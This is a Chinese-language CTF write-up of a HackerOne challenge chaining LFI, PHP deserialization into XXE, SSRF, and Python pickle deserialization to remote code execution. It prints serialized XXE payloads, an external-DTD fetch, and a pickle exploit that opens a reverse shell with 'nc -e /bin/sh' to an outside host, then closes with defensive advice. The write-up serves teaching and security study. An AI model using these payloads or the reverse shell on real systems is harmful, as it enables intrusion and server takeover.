Hackerone的一场CTF Writeup
字数 1599 2025-08-18 11:37:45
HackerOne CTF 竞赛 Writeup 深度解析
1. 初始信息收集
1.1 竞赛入口
- 竞赛通过HackerOne推特发布的二维码图片开始
- 二维码解码后获得URL编码的字符串
- 处理方式:在每两个字符后添加'%'进行完整URL编码
- 解码后获得目标网站:https://h1-5411.h1ctf.com
2. 目标网站分析
2.1 网站功能
- 表情包生成网站
- 功能流程:
- 选择模板图片
- 编辑顶部和底部文字
- 生成表情包展示在meme.php页面
2.2 请求观察
- 生成表情包的请求包含
template参数 - 响应为JSON格式,包含服务器上本地表情包的路径信息
3. 漏洞发现与利用
3.1 本地文件包含(LFI)漏洞
template参数存在文件包含漏洞- 验证漏洞:
- 成功获取
/etc/passwd文件 - 获取网站源码
index.php
- 成功获取
3.2 源码审计
- 通过LFI获取完整源码:
- 遍历获取源码中引用的每个php文件
- 关键发现:
header.php中包含注释掉的导入/导出功能(2.0版本)class.php中定义三个类:TemplateMaintenance(注释状态,属于内部服务)ConfigFile
3.3 ConfigFile类分析
- 包含
_toString魔术方法 _toString调用parse函数parse函数加载外部XML,可能导致XXE漏洞
4. 反序列化漏洞利用
4.1 导出功能分析
- 导出功能(
export_memes_2.0.php):- 返回"memeapk"文件
- 文件内容为PHP序列化数组的base64编码数据
4.2 导入功能分析
- 导入功能(
import_memes_2.0.php):- 接受base64编码的序列化字符串
- 解码后反序列化PHP数组
4.3 漏洞利用链构建
- 创建ConfigFile对象实例
- 设置
config_raw属性包含恶意XXE payload - 序列化对象并base64编码
- 通过导入功能上传
4.4 XXE Payload示例
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:94:"<!DOCTYPE replace [<!ENTITY ent SYSTEM 'file:///etc/passwd'> ]><a><toptext>&ent;</toptext></a>";}}
5. 漏洞升级:从XXE到RCE
5.1 尝试直接RCE
- 尝试
expect://模块失败
5.2 SSRF利用
- 修改XXE payload获取外部DTD
- 新序列化对象:
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:127:"<!DOCTYPE replace [<!ENTITY % outside SYSTEM 'http://<<redacted>>/exfil.dtd'> %outside; ]> <a><toptext>&exfil;</toptext></a>";}}
5.3 端口扫描发现
- 编写脚本扫描本地端口
- 发现响应异常的端口:1337
- 访问
http://localhost:1337/status?debug=true获得base64编码的python序列化对象
5.4 Python反序列化利用
- 服务端使用python pickle反序列化
- 构造恶意pickle对象执行命令:
import pickle
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('nc -e /bin/sh do.malloc.co.il 8193',))
shellcode = pickle.dumps(Exploit())
print(base64.b64encode(shellcode))
5.5 最终利用
- 修改外部DTD包含恶意pickle对象
- 触发XXE进而触发SSRF
- SSRF导致python反序列化执行
- 获得反向shell
6. 获取flag
- 在获得的shell中执行
ls发现flag.txt - 读取文件内容获得flag
7. 关键知识点总结
- QR码信息处理:识别和正确处理编码信息
- LFI漏洞利用:通过参数控制读取服务器文件
- 源码审计技巧:通过有限入口获取完整源码
- PHP反序列化:
- 识别可利用的魔术方法(
_toString) - 构造合适的序列化对象
- 识别可利用的魔术方法(
- XXE漏洞:
- 文件读取
- 结合外部DTD的SSRF
- Python反序列化:
- pickle模块的安全风险
- 构造恶意对象实现RCE
- 端口扫描技术:通过差异响应识别服务
- 漏洞链构建:将多个漏洞串联实现更高危害的攻击
8. 防御建议
- 对用户输入进行严格过滤和验证
- 禁用不必要的PHP魔术方法
- 限制文件包含操作的范围
- 禁用外部实体解析(XXE防护)
- 避免使用不安全的反序列化操作
- 内部服务应实施严格的访问控制
- 对敏感功能(如导入/导出)实施权限控制
- 定期进行安全审计和渗透测试